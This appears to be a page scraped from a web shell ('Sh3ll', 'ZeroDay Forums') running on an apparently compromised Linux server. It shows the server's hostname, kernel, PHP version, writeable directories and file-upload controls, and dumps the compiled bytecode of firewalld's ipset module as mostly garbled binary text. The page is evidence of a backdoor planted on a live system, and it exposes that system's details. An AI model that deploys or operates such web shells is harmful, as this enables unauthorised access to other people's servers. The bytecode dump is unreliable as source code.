Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/firewall/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/firewall/core/ipset.pyo
�
�c�`c@sdZdddgZddlZddlmZddlmZddlm	Z	dd	l
mZdd
lm
Z
mZddlmZdZd
ddddddddddgZidd6dd6dd6dd6Zidd6d d6d!d6Zdefd"��YZd#�Zd$�ZdS(%sThe ipset command wrappertipsettcheck_ipset_nametremove_default_create_optionsi����N(terrors(t
FirewallError(trunProg(tlog(ttempFiletreadfile(tCOMMANDSi shash:ipshash:ip,portshash:ip,port,ipshash:ip,port,netshash:ip,markshash:netshash:net,nets
hash:net,portshash:net,port,netshash:net,ifaceshash:macs
inet|inet6tfamilytvaluethashsizetmaxelems
value in secsttimeouttinett1024t65536cBs�eZdZd�Zd�Zd�Zd�Zd�Zdd�Z	d�Z
d�Zd	�Zdd
�Z
ddd�Zd�Zdd
�Zddd�Zd�Zd�Zd�Zd�ZRS(sipset command wrapper classcCstd|_d|_dS(NR(R	t_commandtname(tself((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt__init__Js
cCs�g|D]}d|^q}tjd|j|jdj|��t|j|�\}}|dkr�td|jdj|�|f��n|S(sCall ipset with argss%ss	%s: %s %st is'%s %s' failed: %s(Rtdebug2t	__class__RtjoinRt
ValueError(Rtargstitemt_argststatustret((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt__runNs%cCs/t|�tkr+ttjd|��ndS(sCheck ipset namesipset name '%s' is not validN(tlentIPSET_MAXNAMELENRRtINVALID_NAME(RR((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt
check_nameYs	cCs�g}d}y|jdg�}Wn$tk
rH}tjd|�nX|j�}t}x{|D]s}|r�|j�jdd�}|d|kr�|dt	kr�|j
|d�q�n|jd�rbt}qbqbW|S(s?Return types that are supported by the ipset command and kernelts--helpsipset error: %siisSupported set types:N(
t_ipset__runRRtdebug1t
splitlinestFalsetstriptsplittNonetIPSET_TYPEStappendt
startswithtTrue(RRtoutputtextlinestin_typestlinetsplits((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pytset_supported_types_s 
 
cCs;t|�tks|tkr7ttjd|��ndS(sCheck ipset types!ipset type name '%s' is not validN(R!R"R-RRtINVALID_TYPE(Rt	type_name((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt
check_typets	cCs�|j|�|j|�d||g}t|t�r�xF|j�D]5\}}|j|�|dkrE|j|�qEqEWn|j|�S(s+Create an ipset with name, type and optionstcreateR%(R$R:t
isinstancetdicttitemsR.R&(Rtset_nameR9toptionsRtkeytval((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt
set_createzs


cCs |j|�|jd|g�S(Ntdestroy(R$R&(RR?((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pytset_destroy�s
cCsd||g}|j|�S(Ntadd(R&(RR?tentryR((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pytset_add�scCsd||g}|j|�S(Ntdel(R&(RR?RGR((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt
set_delete�scCs?d||g}|r2|jddj|��n|j|�S(Nttests%sR(R.RR&(RR?RGR@R((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyRK�scCsKdg}|r|j|�n|r5|j|�n|j|�jd�S(Ntlists
(R.textendR&R+(RR?R@R((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pytset_list�s	cCs�|jddg�}i}d}}i}x�|D]z}t|�dkrPq2ng|jdd�D]}|j�^qc}t|�dkr�q2q2|ddkr�|d}q2|ddkr�|d}q2|dd	kr2|dj�}	d}
xz|
t|	�kro|	|
}|dkrbt|	�|
krK|
d7}
|	|
||<qbtjd|�iSn|
d7}
q�W|r�|r�|t|�f||<nd}}|j�q2q2W|S(s" Get active ipsets (only headers) R@s-terseit:iitNametTypetHeaderR
RR
Rtnetmasks&Malformed ipset list -terse output: %sN(R
RR
RRS(	RNR,R!R+R*RterrorRtclear(RR3Rt_namet_typet_optionsR5txtpairR6titopt((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pytset_get_active_terse�sD

+


	
	
cCs,dg}|r|j|�n|j|�S(Ntsave(R.R&(RR?R((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyR^�s	cCs�|j|�|j|�t�}d|kr<d|}nd||dg}|r�xF|j�D]5\}}	|j|�|	dkra|j|	�qaqaWn|jddj|��|jd|�xj|D]b}
d|
kr�d|
}
n|r|jd||
dj|�f�q�|jd	||
f�q�W|j�tj	|j
�}tjd
|j
|jd|j
|jf�dg}t|j|d
|j
�\}}
tj�dkrSyt|j
�Wntk
r�qSXd}xlt|j
�D]X}tjd||fdddd�|jd�sBtjddd�n|d7}q�Wntj|j
�|dkr�td|jdj|�|
f��n|
S(NRs'%s'R;s-existR%s%s
s	flush %s
s
add %s %s %s
s
add %s %s
s%s: %s restore %ss%s: %dtrestoretstdiniis%8d: %stnofmttnlis
s'%s %s' failed: %s(R$R:RR>R.twriteRtclosetoststatRRRRRtst_sizeRtgetDebugLogLevelRt	Exceptiontdebug3tendswithtunlinkR(RR?R9tentriestcreate_optionst
entry_optionst	temp_fileRRARBRGRfRRR[R5((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pytset_restore�sV

	



	
	
#cCs,dg}|r|j|�n|j|�S(Ntflush(R.R&(RR?R((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt	set_flushs	cCs|jd||g�S(Ntrename(R&(Rtold_set_nametnew_set_name((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyRtscCs|jd||g�S(Ntswap(R&(Rt
set_name_1t
set_name_2((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyRwscCs|jdg�S(Ntversion(R&(R((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyRzsN(t__name__t
__module__t__doc__RR&R$R7R:R,RCRERHRJRKRNR]R^RqRsRtRwRz(((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyRGs&					
				'7			cCst|�tkrtStS(s"Return true if ipset name is valid(R!R"R)R0(R((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyRscCsK|j�}x8tD]0}||krt|||kr||=qqW|S(s( Return only non default create options (tcopytIPSET_DEFAULT_CREATE_OPTIONS(R@RXR\((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyRs
(R}t__all__tos.pathRetfirewallRtfirewall.errorsRtfirewall.core.progRtfirewall.core.loggerRtfirewall.functionsRRtfirewall.configR	R"R-tIPSET_CREATE_OPTIONSRtobjectRRR(((s7/usr/lib/python2.7/site-packages/firewall/core/ipset.pyt<module>s@	

�	

ZeroDay Forums Mini